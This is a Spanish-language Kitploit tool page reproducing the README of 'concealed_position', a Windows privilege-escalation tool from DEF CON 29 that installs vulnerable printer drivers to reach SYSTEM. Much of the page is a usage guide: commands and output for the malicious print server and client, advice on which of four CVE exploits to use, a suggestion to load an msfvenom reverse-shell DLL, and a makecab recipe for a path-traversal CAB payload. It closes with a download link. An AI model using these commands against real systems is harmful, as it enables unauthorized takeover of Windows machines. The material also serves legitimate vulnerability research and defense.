Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
concealed_position — Herramienta de escalada de privilegios mediante controlador de impresión propio | Kitploit
Herramientas/GitHubGitHub/jacob-baines/concealed_position
Escalada de PrivilegiosAnálisis de VulnerabilidadesExplotaciónPruebas de Penetración
GitHubjacob-baines/concealed_position

concealed_position

Herramienta de escalada de privilegios mediante controlador de impresión propio

Ver Repositorio
2634444hace 5 añosRevisado por Kitploit

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

Posición Oculta

Posición Oculta es un ataque de escalada de privilegios locales contra Windows que utiliza el concepto de "Trae tu propia vulnerabilidad". Específicamente, Posición Oculta (CP) utiliza la lógica tal como fue diseñada de paquete punto e impresión en Windows que permite a un usuario con pocos privilegios preparar e instalar controladores de impresora. CP instala específicamente controladores con vulnerabilidades conocidas que luego se explotan para escalar a SYSTEM. Posición Oculta se presentó por primera vez en DEF CON 29.

¿Qué exploits están disponibles?

Posición Oculta ofrece cuatro exploits, todos con nombres igualmente tontos:

  • ACIDDAMAGE - CVE-2021-35449 - LPE del Controlador Universal de Impresión Lexmark
  • RADIANTDAMAGE - CVE-2021-38085 - LPE del Controlador de Impresión Canon TR150
  • POISONDAMAGE - CVE-2019-19363 - LPE del Controlador de Impresión Ricoh PCL6
  • SLASHINGDAMAGE - CVE-2020-1300 - LPE del Spooler de Impresión de Windows

Los exploits son interesantes porque, además de SLASHINGDAMAGE, seguirán funcionando incluso después de que los problemas estén parcheados. El único mecanismo que Windows tiene para impedir que los usuarios usen controladores antiguos es revocar el certificado del controlador, algo que no(?) se ha hecho históricamente.

¿Pero qué exploit debería usar?!

Probablemente ACIDDAMAGE. RADIANTDAMAGE y POISONDAMAGE son condiciones de carrera (para sobrescribir una DLL) y SLASHINGDAMAGE, con suerte, está parcheado en casi todas partes.

¿Cómo funciona?

Posición Oculta tiene dos partes. Una impresora malvada y un cliente. El cliente contacta al servidor, obtiene un controlador, lo almacena en el almacén de controladores, instala la impresora y explota el proceso de instalación. ¡Fácil! En términos de MSAPI, el ataque es algo así:

root@kitploit:~
Paso 1: Preparar el controlador en el almacén de controladores
cliente a servidor: GetPrinterDriver
servidor a cliente: Respuesta con el controlador

Paso 2: Instalar el controlador desde el almacén de controladores
cliente: InstallPrinterDriverFromPackage

Paso 3: Agregar una impresora local (etapa de explotación)
cliente: Add Printer

Es importante notar que SLASHINGDAMAGE en realidad no funciona así. SLASHINGDAMAGE es una implementación del ataque de impresora malvada descrito en DEFCON 28 (2020) y ha sido parcheado desde hace mucho tiempo. Simplemente me gusta el ataque (inspiró el resto de este desarrollo) y pensé en dejar el exploit en mi servidor malvado... por más confuso que pueda ser.

¿Es esto una vulnerabilidad de Windows?

Se podría argumentar que sí. El almacén de controladores es una "colección confiable de paquetes de controladores de terceros" que requiere acceso de administrador para modificar. Usando GetPrinterDriver, un atacante con pocos privilegios puede preparar controladores arbitrarios en el almacén. Esto, para mí, cruza un límite de seguridad claro.

Microsoft pareció estar de acuerdo cuando emitió CVE-2021-34481.

Aunque... se podría argumentar que esto es simplemente una característica del sistema y no una vulnerabilidad en absoluto. Realmente no importa mucho. Un atacante puede escalar a SYSTEM en instalaciones estándar de Windows.

¿Qué versiones de Windows están afectadas por CVE-2021-34481?

Al menos Windows 8.1 y superiores.

¿Cómo uso estas herramientas?

¡Simple! ¡Tan simple que habrá muchos párrafos para describirlo!

Servidor CP

Primero, veamos las opciones de línea de comandos de cp_server:

root@kitploit:~
C:\Users\albinolobster\concealed_position\build\x64\Release\bin>cp_server.exe
 _______  _______  __    _  _______  _______  _______  ___      _______  ______
|       ||       ||  |  | ||       ||       ||   _   ||   |    |       ||      |
|       ||   _   ||   |_| ||       ||    ___||  |_|  ||   |    |    ___||  _    |
|       ||  | |  ||       ||       ||   |___ |       ||   |    |   |___ | | |   |
|      _||  |_|  ||  _    ||      _||    ___||       ||   |___ |    ___|| |_|   |
|     |_ |       || | |   ||     |_ |   |___ |   _   ||       ||   |___ |       |
|_______||_______||_|  |__||_______||_______||__| |__||_______||_______||______|
 _______  _______  _______  ___   _______  ___   _______  __    _
|       ||       ||       ||   | |       ||   | |       ||  |  | |
|    _  ||   _   ||  _____||   | |_     _||   | |   _   ||   |_| |
|   |_| ||  | |  || |_____ |   |   |   |  |   | |  | |  ||       |
|    ___||  |_|  ||_____  ||   |   |   |  |   | |  |_|  ||  _    |
|   |    |       | _____| ||   |   |   |  |   | |       || | |   |
|___|    |_______||_______||___|   |___|  |___| |_______||_|  |__|    server!

Opciones CLI:
  -h, --help                     Mostrar el mensaje de ayuda
  -e, --exploit arg              El exploit a usar
  -c, --cabs arg (=.\cab_files)  La ubicación de los archivos cabinet

Exploits disponibles:
        ACIDDAMAGE
        POISONDAMAGE
        RADIANTDAMAGE
        SLASHINGDAMAGE

C:\Users\albinolobster\concealed_position\build\x64\Release\bin>

Arriba puedes ver que el servidor requiere dos opciones:

  1. El exploit para configurar la impresora
  2. Una ruta a los archivos cab_files de este repositorio (.\cab_files\ es el valor predeterminado)

Por ejemplo, supongamos que queremos configurar una impresora malvada que sirva el controlador ACIDDAMAGE. Simplemente haz esto:

root@kitploit:~
C:\Users\albinolobster\concealed_position\build\x64\Release\bin>cp_server.exe -e ACIDDAMAGE
 _______  _______  __    _  _______  _______  _______  ___      _______  ______
|       ||       ||  |  | ||       ||       ||   _   ||   |    |       ||      |
|       ||   _   ||   |_| ||       ||    ___||  |_|  ||   |    |    ___||  _    |
|       ||  | |  ||       ||       ||   |___ |       ||   |    |   |___ | | |   |
|      _||  |_|  ||  _    ||      _||    ___||       ||   |___ |    ___|| |_|   |
|     |_ |       || | |   ||     |_ |   |___ |   _   ||       ||   |___ |       |
|_______||_______||_|  |__||_______||_______||__| |__||_______||_______||______|
 _______  _______  _______  ___   _______  ___   _______  __    _
|       ||       ||       ||   | |       ||   | |       ||  |  | |
|    _  ||   _   ||  _____||   | |_     _||   | |   _   ||   |_| |
|   |_| ||  | |  || |_____ |   |   |   |  |   | |  | |  ||       |
|    ___||  |_|  ||_____  ||   |   |   |  |   | |  |_|  ||  _    |
|   |    |       | _____| ||   |   |   |  |   | |       || | |   |
|___|    |_______||_______||___|   |___|  |___| |_______||_|  |__|    server!

[+] Creando espacio temporal...
[+] Expandiendo .\cab_files\ACIDDAMAGE\LMUD1o40.cab
[+] Insertando en el almacén de controladores
[+] Limpiando espacio temporal
[+] Instalando el controlador de impresión
[+] ¡Controlador instalado!
[+] Instalando impresora compartida
[+] ¡Impresora compartida instalada!
[+] Automatización completada.
[!] ¡PASOS MANUALES IMPORTANTES!
[0] En Configuración de uso compartido avanzado, desactive la protección por contraseña en uso compartido.
[1] ¡Listo para usar!

C:\Users\albinolobster\concealed_position\build\x64\Release\bin>

Y eso es todo, verás una nueva impresora en tu sistema:

root@kitploit:~
PS C:\Users\albinolobster\concealed_position\build\x64\Release\bin> Get-Printer

Name                           ComputerName    Type         DriverName                PortName        Shared   Publishe
                                                                                                               d
----                           ------------    ----         ----------                --------        ------   --------
ACIDDAMAGE                                     Local        Lexmark Universal v2      LPT1:           True     False
CutePDF Writer                                 Local        CutePDF Writer v4.0       CPW4:           False    False
OneNote for Windows 10                         Local        Microsoft Software Pri... Microsoft.Of... False    False
Microsoft XPS Document Writer                  Local        Microsoft XPS Document... PORTPROMPT:     False    False
Microsoft Print to PDF                         Local        Microsoft Print To PDF    PORTPROMPT:     False    False
Fax                                            Local        Microsoft Shared Fax D... SHRFAX:         False    False


PS C:\Users\albinolobster\concealed_position\build\x64\Release\bin>

Nota que hay un paso manual que cp_server te pide que hagas. Debido a que soy un hacker de poca monta, no pude descubrir cómo configurar programáticamente la opción "Configuración de uso compartido avanzado" -> "Desactivar protección por contraseña en uso compartido". ¡Tendrás que hacerlo tú mismo!

El proceso para usar SLASHINGDAMAGE es un poco diferente. Primero necesitarás instalar CutePDF Writer (encuentra los instaladores en el directorio de terceros). Luego ejecuta cp_server y después aún necesitarás seguir un par de pasos manuales y reiniciar.

Cliente CP

El cliente es igualmente fácil de usar. Veamos sus opciones de línea de comandos:

root@kitploit:~
C:\Users\albinolobster\concealed_position\build\x64\Release\bin>cp_client.exe
 _______  _______  __    _  _______  _______  _______  ___      _______  ______
|       ||       ||  |  | ||       ||       ||   _   ||   |    |       ||      |
|       ||   _   ||   |_| ||       ||    ___||  |_|  ||   |    |    ___||  _    |
|       ||  | |  ||       ||       ||   |___ |       ||   |    |   |___ | | |   |
|      _||  |_|  ||  _    ||      _||    ___||       ||   |___ |    ___|| |_|   |
|     |_ |       || | |   ||     |_ |   |___ |   _   ||       ||   |___ |       |
|_______||_______||_|  |__||_______||_______||__| |__||_______||_______||______|
 _______  _______  _______  ___   _______  ___   _______  __    _
|       ||       ||       ||   | |       ||   | |       ||  |  | |
|    _  ||   _   ||  _____||   | |_     _||   | |   _   ||   |_| |
|   |_| ||  | |  || |_____ |   |   |   |  |   | |  | |  ||       |
|    ___||  |_|  ||_____  ||   |   |   |  |   | |  |_|  ||  _    |
|   |    |       | _____| ||   |   |   |  |   | |       || | |   |
|___|    |_______||_______||___|   |___|  |___| |_______||_|  |__|    client!

Opciones CLI:
  -h, --help         Mostrar el mensaje de ayuda
  -r, --rhost arg    La dirección de la impresora malvada remota
  -n, --name arg     El nombre de la impresora malvada remota
  -e, --exploit arg  El exploit a usar
  -l, --local        Sin impresora remota. Solo ataque local.
  -d, --dll arg      Ruta a la DLL proporcionada por el usuario para ejecutar.

Exploits disponibles:
        ACIDDAMAGE
        POISONDAMAGE
        RADIANTDAMAGE

Primero, me gustaría abordar la opción --dll. El cliente tiene un payload incrustado que simplemente escribe el archivo C:\result.txt. Sin embargo, los usuarios pueden proporcionar su propia DLL mediante esta opción. Un buen ejemplo de algo que quizás quieras usar es una shell inversa x64 producida por msfvenom. Pero para el resto de esto, simplemente asumiremos el payload incrustado.

cp_client tiene dos modos: remoto y local. La opción remota es la más interesante porque agrega el controlador vulnerable al almacén de controladores (ejecutando así la vulnerabilidad "trae tu propio controlador de impresión"), así que empezaremos con eso. Digamos que quiero conectarme de vuelta a la impresora malvada ACIDDAMAGE que configuramos anteriormente. Solo necesito proporcionar:

  1. El exploit que quiero usar
  2. La dirección IP de la impresora malvada
  3. El nombre de la impresora compartida malvada

¡Así!

root@kitploit:~
C:\Users\albinolobster\Desktop>cp_client.exe -r 10.0.0.9 -n ACIDDAMAGE -e ACIDDAMAGE
 _______  _______  __    _  _______  _______  _______  ___      _______  ______
|       ||       ||  |  | ||       ||       ||   _   ||   |    |       ||      |
|       ||   _   ||   |_| ||       ||    ___||  |_|  ||   |    |    ___||  _    |
|       ||  | |  ||       ||       ||   |___ |       ||   |    |   |___ | | |   |
|      _||  |_|  ||  _    ||      _||    ___||       ||   |___ |    ___|| |_|   |
|     |_ |       || | |   ||     |_ |   |___ |   _   ||       ||   |___ |       |
|_______||_______||_|  |__||_______||_______||__| |__||_______||_______||______|
 _______  _______  _______  ___   _______  ___   _______  __    _
|       ||       ||       ||   | |       ||   | |       ||  |  | |
|    _  ||   _   ||  _____||   | |_     _||   | |   _   ||   |_| |
|   |_| ||  | |  || |_____ |   |   |   |  |   | |  | |  ||       |
|    ___||  |_|  ||_____  ||   |   |   |  |   | |  |_|  ||  _    |
|   |    |       | _____| ||   |   |   |  |   | |       || | |   |
|___|    |_______||_______||___|   |___|  |___| |_______||_|  |__|    client!

[+] Verificando si el controlador ya está instalado
[-] El controlador no está disponible.
[+] Llamando de vuelta a la impresora malvada @ \\10.0.0.9\ACIDDAMAGE
[+] Preparando el controlador en el almacén de controladores
[+] Instalando el controlador preparado
[+] ¡Controlador instalado!
[+] Iniciando AcidDamage
[+] Verificando si C:\ProgramData\Lexmark Universal v2\ existe
[-] El directorio de destino no existe. Desencadenar instalación.
[+] Instalando impresora
[+] Leyendo C:\ProgramData\Lexmark Universal v2\Universal Color Laser.gdl
[+] Buscando contenido del archivo
[+] Actualizando contenido del archivo
[+] Colocando gpl actualizado
[+] Colocando Dll.dll en disco
[+] Preparando dll en c:\tmp
[+] Instalando impresora
[!] ¡Mucho éxito!

¡Eso es todo! Para ejecutar un ataque solo local, solo necesitas proporcionar el exploit:

root@kitploit:~
C:\Users\albinolobster\concealed_position\build\x64\Release\bin>cp_client.exe -l -e ACIDDAMAGE
 _______  _______  __    _  _______  _______  _______  ___      _______  ______
|       ||       ||  |  | ||       ||       ||   _   ||   |    |       ||      |
|       ||   _   ||   |_| ||       ||    ___||  |_|  ||   |    |    ___||  _    |
|       ||  | |  ||       ||       ||   |___ |       ||   |    |   |___ | | |   |
|      _||  |_|  ||  _    ||      _||    ___||       ||   |___ |    ___|| |_|   |
|     |_ |       || | |   ||     |_ |   |___ |   _   ||       ||   |___ |       |
|_______||_______||_|  |__||_______||_______||__| |__||_______||_______||______|
 _______  _______  _______  ___   _______  ___   _______  __    _
|       ||       ||       ||   | |       ||   | |       ||  |  | |
|    _  ||   _   ||  _____||   | |_     _||   | |   _   ||   |_| |
|   |_| ||  | |  || |_____ |   |   |   |  |   | |  | |  ||       |
|    ___||  |_|  ||_____  ||   |   |   |  |   | |  |_|  ||  _    |
|   |    |       | _____| ||   |   |   |  |   | |       || | |   |
|___|    |_______||_______||___|   |___|  |___| |_______||_|  |__|    client!

[+] Verificando si el controlador ya está instalado
[+] ¡Controlador instalado!
[+] Iniciando AcidDamage
[+] Verificando si C:\ProgramData\Lexmark Universal v2\ existe
[-] El directorio de destino no existe. Desencadenar instalación.
[+] Instalando impresora
[+] Leyendo C:\ProgramData\Lexmark Universal v2\Universal Color Laser.gdl
[+] Buscando contenido del archivo
[+] Actualizando contenido del archivo
[+] Colocando gpl actualizado
[+] Colocando Dll.dll en disco
[+] Preparando dll en c:\tmp
[+] Instalando impresora
[!] ¡Mucho éxito!

C:\Users\albinolobster\concealed_position\build\x64\Release\bin>

¿Por qué el cliente no tiene una opción SLASHINGDAMAGE?

SLASHINGDAMAGE no necesita un cliente especial para la explotación. Puedes usar la interfaz de usuario o la línea de comandos para conectarte a la impresora remota y eso es todo. Desafortunadamente, si deseas crear un payload personalizado, necesitarás actualizar el CAB en el directorio cab_files. Pero eso es fácil. Algo así:

root@kitploit:~
echo “evil.dll” “../../evil.dll” > files.txt
makecab /f files.txt
move disk1/1.cab exploit.cab

Probablemente sea importante saber que la versión de SLASHINGDAMAGE en el repositorio coloca ualapi.dll en SYSTEM32 y, cuando se ejecuta al reiniciar, coloca el archivo C:\result.txt.

Solicitudes de extracción y errores

¿Quieres enviar una solicitud de extracción o reportar un error? ¡Genial! Lo aprecio, pero si no proporcionas suficientes detalles para reproducir un error o explicar por qué una solicitud de extracción debería ser aceptada, entonces hay un 100% de probabilidades de que cierre tu problema sin comentarios. Te aprecio, pero también estoy bastante ocupado.

Otras cosas

Una cosa a tener en cuenta es que la DLL inject_me está realmente incrustada en cp_client como un array C. Si actualizas inject_me, necesitarás actualizar manualmente el array C también (solo usa xxd para generar el array).

Descargar herramienta